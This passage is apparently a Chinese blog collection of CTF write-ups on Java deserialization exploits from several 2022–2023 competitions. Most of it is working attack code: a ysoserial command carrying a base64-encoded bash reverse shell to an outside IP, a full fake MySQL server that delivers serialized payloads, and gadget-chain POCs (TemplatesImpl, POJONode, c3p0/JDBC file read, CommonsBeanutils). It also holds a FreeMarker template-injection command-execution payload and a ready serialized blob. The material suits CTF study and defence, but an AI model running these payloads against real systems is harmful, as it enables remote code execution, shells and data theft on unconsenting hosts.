Info info=(Info)Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler);
/*
* 接下来按照源代码序列化的info用base64打出来
* */
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(info);
objectOutputStream.close();

String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
System.out.println(str);
}
}

然后用ysoserial工具生成一个payload

1
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40Mi4zOS4xMTAvMzM4OSAwPiYx}|{base64,-d}|{bash,-i}" > payload

这里的生成文件名不能进行修改,因为得和等会部署的mysql恶意服务端里的文件相对应(这里用cc6是因为给的cc依赖是3.2.1)

mysql.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3307

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

这里话最后使用别的端口号,因为3306是默认被使用的mysql端口

这就是等会得在自己的服务器上开启的fake mysql server

image-20230526154239087

注意把生成的payload和mysql.py放在同一个文件下面 这样vps上的”mysql服务”就会把payload发回被攻击服务器。

另一个终端监听刚刚反弹shell时设置的端口

image-20230526160149558

image-20230526160247086

然后bp发包

image-20230526160325156

用这个cookie进行反序列化

然后bp传参

image-20230526160927044

image-20230526160932661

然后就可以弹到shell了,不过这里的话很快就没了

可以用curl外带也行(这里我就不尝试了)

bypassit1(阿里云ctf2023)

从bypassit1了解POJONode#toString调用getter方法原理

aliyunctf2023-bypassit1

bypassit

上面是参考文章

前言

前面说到了在fastjson中的原生的一个反序列化调用任意类的getter方法的原理与细节

从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject调用JSONObject#toString / JSONArray#toString方法也即是JSON#toString方法触发getter

再到fastjson >= 1.2.48下的存在有SecureObjectInputStream的安全检查的情况下,通过使用HashMap等等类创建一个reference的方式绕过resolveClass的检查触发getter

既然在fastjson中存在有这样的原生反序列化,在另一个和他功能类似的开源库jackson也有着类似的原生反序列化触发getter方法

(这里的考点就是jackson触发getter方法和fastjson一样)

jackson

这里直接写个demo进行分析

image-20230531200815422

直接就是使用writeValueAsString这个方法来调用这个getter方法

这里就不跟进去分析了

然后知道了这里是和fastjson一样的利用方法,就是触发getter,那么我们就刚好可以想到一个类可以通过触发getter来执行恶意代码 TemplatesImpl

image-20230531202513992

就是会经过一系列的getter调用,最后就是会到这里进行初始化(这里的话cc4这条链子有分析这个类的使用)

这里话就是找谁的toString方法能触发这个类 因为fastjson就是靠这个来进行触发的

然后我们就找哪个类能调用到这个tostring方法 这里的话如果对cc链熟悉的话,就马上可以猜到是BadAttributeValueExpException这个类

image-20230531202402003

那么利用链就构造完成了

1
2
3
③TemplatesImpl#getOutputProperties
②jacksonType#toString
①BadAttributeValueExpException触发val的toString方法

这个触发tostring的方法必须是jacksontype的,而且还必须的得能触发到这个writeValueAsString方法,并且还能给这个方法赋值为TemplatesImpl的对象

(这里的不知道大佬是怎么发现的,这里就知道咋利用就行了)

刚好能发现POJONode这个类可以

1
2
3
③TemplatesImpl#getOutputProperties
②POJONode#toString
①BadAttributeValueExpException触发val的toString方法

POC

App.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package com.ctf.bypassit;

import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;

/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}\");");
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();

//上面是固定写法 生成字节码

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);

//上面是对字节码的初始化和实例化
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

//上面是BadAttributeValueExpException触发POJONode的toString方法
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));


//上面是序列化和反序列化
// doPOST(exp.toString().getBytes());
// byte[] byt=new byte[fileInputStream.available()];
// fileInputStream.read(byt);
// doPOST(byt);
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://192.168.142.129:8080/bypassit");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

POJONode#toString

这里话讲讲为什么这个类能触发tostring方法

这个类是没有tostring方法的,但是他继承了ValueNode这个类 然后ValueNode这个类继承了BaseJsonNode

image-20230531205204153

image-20230531205220935

这里的不直接使用BaseJsonNode或者ValueNode这两个类的原因是因为这两个类是抽象类,不能进行实例化 所以就只能选他们的子类POJONode

(虽然子类没有这个方法,但是执行代码的时候会向上查找,然后就会在他的父类这里找到这个tostring方法)

但是这BaseJsonNode这个类是有问题的,得进行重写

image-20230531205550223

原因

根据报错定位到ObjectOuptputStream#writeObject0

image-20230531205923600

如果序列化的类实现了writeReplace方法,将会在序列化过程中调用它进行检查,好巧不巧,在POJONode的父类BaseJsonNode中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断

babyja(2023黑盾杯)

还是先对jar包进行分析

先看下pom.xml

image-20230612143657055

得到这4个东西,可以猜测是用fastjson去打jdbc反序列化了

image-20230612143754850

然后看了下入口点,发现猜想并没有错,就是使用fastjson来打

image-20230612144030874

在结合这里的jdbc,发现我们的刚开始的猜想是正确的

但是这里有个问题就是JSON.parse()是只会触发setter方法,但不会触发道 getter方法,所以前面的依赖就用到了

image-20230612144225930

这个依赖可以任意触发getter方法 —> vaadin

image-20230612144309597

但是看到过滤函数的时候,把触发fastjson的函数全给ban了

这里的话又得用到另一个依赖了

image-20230612144402015

我们可以使用 c3p0的二次反序列化方法来进行绕过(hex base)

那么基本的构造链就完成了

c3p0的二次反序列化来绕过过滤,然后fastsjon来执行setter进行赋值,然后com.vaadin来触发getter来触发jdbc的反序列化链子

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

package com.example;

import com.ctf.bean.MyBean;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import org.apache.commons.codec.binary.Hex;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class Exp {
public static void main(String[] args) throws Exception {

MyBean myBean =new MyBean();
myBean.setDatabase("mysql://vps:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
//下面是为了使用getPropertyId()方法触发getValue()来调用invoke触发任意getter
PropertysetItem p = new PropertysetItem();

NestedMethodProperty<Object> n = new NestedMethodProperty<Object>(myBean, "Connection");

p.addItemProperty("Connection", n);
//下面是为了用toString触发getPropertyId()方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("v");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, p);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(badAttributeValueExpException);
out.flush();
byte[] bytes = bos.toByteArray();

char[] hexChars = Hex.encodeHex(bytes);
String hexString = new String(hexChars);
//这里是为了生成16进制编码的字节流
System.out.println(hexString.toUpperCase());
}
}

然后把生成的hex字符串填在下面HexAsciiSerializedMap后面

payload

1
{"1":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"2":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:替换这里;",}}

这个payload在c3p0二次反序列化链子里给了

image-20230612150545126

MTCTF2022-easyjava

考点: shiro鉴权绕过、Java CB链

题目就给了一个jar包

还是先看一下这个依赖

image-20230707163850027

使用了shiro和这个hibernate

这个shiro版本和550和721没啥大的关系

接下来看整体的结构部分

HelloController.java

image-20230707164251508

image-20230707164448953

这里是得想要先输入正确的账号密码获取token,才能进行反序列化利用

ShiroConfig.java

image-20230707164855568

shiro鉴权

但是我们并不知道账号密码

然后就去查一下shiro依赖是否存在漏洞 Apache Shiro 漏洞汇总

image-20230707164630558

image-20230707164922133

成功进行绕过shiro鉴权

image-20230707165019352

这里的为什么用的是web呢?

image-20230707165110562

那么绕过鉴权之后 就可以进行反序列化漏洞利用了

MyObjectInputStream.java中

image-20230707165333649

过滤了这几个类,但是在过滤第一个类的时候发生了错误少了一个.

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这样才对

然后我们就可以利用这个类来进行反序列化漏洞的利用

image-20230707170637882

这里的反序列化链子刚好可以用这个cb链来打 就是shiro自带的cb链子直接来打

这个cc不行的原因是它是3.2.2版本 修复了3.2.1版本的漏洞

image-20230707201422422

不允许使用InvokerTransformer 这个类了

所以说cc链就用不了

所以说就直接用cb链来打就行了

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static {
try {
//Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjQuMjM1LjE3Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

App.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

/**
* Hello world!
*
*/
public class App

{
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main( String[] args ) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("2");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
Base64Encode(barr);
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
return s;
}
}



image-20230707203445931

其实就是简单的shiro无依赖打cb链 (这里是因为出题人粗心了)

预期解

加个新的知识点

基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有 TemplatesImplJdbcRowSetImpl: 下面就是新增加的一个

假如ban了Tempatesimpl我们可以使用别的类去触发JNDI注入

也就是com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition

新的getter利用链 写的超级详细 java1.4和java8都可以用

YCB2023 ez_java

题目源码地址

1
2
3
链接:https://pan.baidu.com/s/1n7t8FY_GyzYarj1Q0lFPKw?pwd=1bv5 
提取码:1bv5
--来自百度网盘超级会员V5的分享

这道题还是挺简单的我觉得

image-20230904162334075

image-20230904162358174

有两个东西 一个是jar包 一个是模板

开始对jar包进行分析

查看依赖的话是啥也没发现 就只有一个spring

image-20230904162436641

在这个getflag路由存在反序列化入口 templating这个路由的话感觉是存在一个模板注入(感觉的)

这个jar包一共就这几个类

image-20230904162659657

经过分析 在这个HtmlUploadUtil这个类里面发现了这个uploadfile方法

image-20230904162841840

就是必须得上传这个ftl后缀的代码 然后就去查找了一下发现是这个

image-20230904163105946

然后在结合上面的代码 感觉就是存在模板注入 (应该是将index.ftl进行覆盖)

有了这个思路以后就去找谁调用这个HtmlUploadUtil#uploadfile

image-20230904163252192

然后就发现了这个HtmlMap#get()方法可以调用HtmlUploadUtil#uploadfile

于是就接着去寻找谁能调用这个HtmlMap#get()

image-20230904163405948

很明显的发现了这个HtmlInvocationHandler#invoke()方法能调用

仔细一看就会发现这是个动态代理 并且重写了invoke()方法

就差个寻找个反序列化类的readobject()作为入口点了

刚好就能发现这个cc链存在这个东西

image-20230904163823489

那么链子就连起来了

1
2
3
4
AnnotationInvocationHandler#readobject()
HtmlInvocationHandler#invoke()
HtmlMap#get()
HtmlUploadUtil#uploadfile()

以上就是完整的调用链了

那么我们就得回到文件上传处来寻找我们应该上传什么内容来覆盖index.ftl 并且能够执行命令

经过搜索 最终发现了这篇文章存在poc

image-20230904164207688

image-20230904164246169

1
2
3
4
5
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import java.io.ByteArrayOutputStream;
import java.io.*;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Map;


public class test {
public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename="index.ftl";
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}\n";
HtmlInvocationHandler html = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[] {Map.class}, html);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor a = c.getDeclaredConstructor(Class.class, Map.class);
a.setAccessible(true);
Object exp = a.newInstance(Target.class, proxy);
System.out.println(serial(exp));
deserial(serial(exp));

}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
ObjectOutputStream stream1 = new ObjectOutputStream(stream);
stream1.writeObject(o);
stream1.close();
String base64String = Base64.getEncoder().encodeToString(stream.toByteArray());
return base64String;

}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream b = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream o = new ObjectInputStream(b);
o.readObject();
o.close();
}
}
//rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAnY29tLnljYmphdmEuVXRpbHMuSHRtbEludm9jYXRpb25IYW5kbGVyQCXpLL1HVZUCAAFMAANvYmpxAH4AAXhwc3IAGWNvbS55Y2JqYXZhLlV0aWxzLkh0bWxNYXAVSPlJWeMkfAIAAkwAB2NvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhmaWxlbmFtZXEAfgALeHB0ATE8I2Fzc2lnbiBhYz1zcHJpbmdNYWNyb1JlcXVlc3RDb250ZXh0LndlYkFwcGxpY2F0aW9uQ29udGV4dD4KICA8I2Fzc2lnbiBmYz1hYy5nZXRCZWFuKCdmcmVlTWFya2VyQ29uZmlndXJhdGlvbicpPgogICAgPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT4KICAgICAgPCNhc3NpZ24gVk9JRD1mYy5zZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcihkY3IpPiR7ImZyZWVtYXJrZXIudGVtcGxhdGUudXRpbGl0eS5FeGVjdXRlIj9uZXcoKSgiY2F0IC9mbGFnIil9CnQACWluZGV4LmZ0bHZyABtqYXZhLmxhbmcuYW5ub3RhdGlvbi5UYXJnZXQAAAAAAAAAAAAA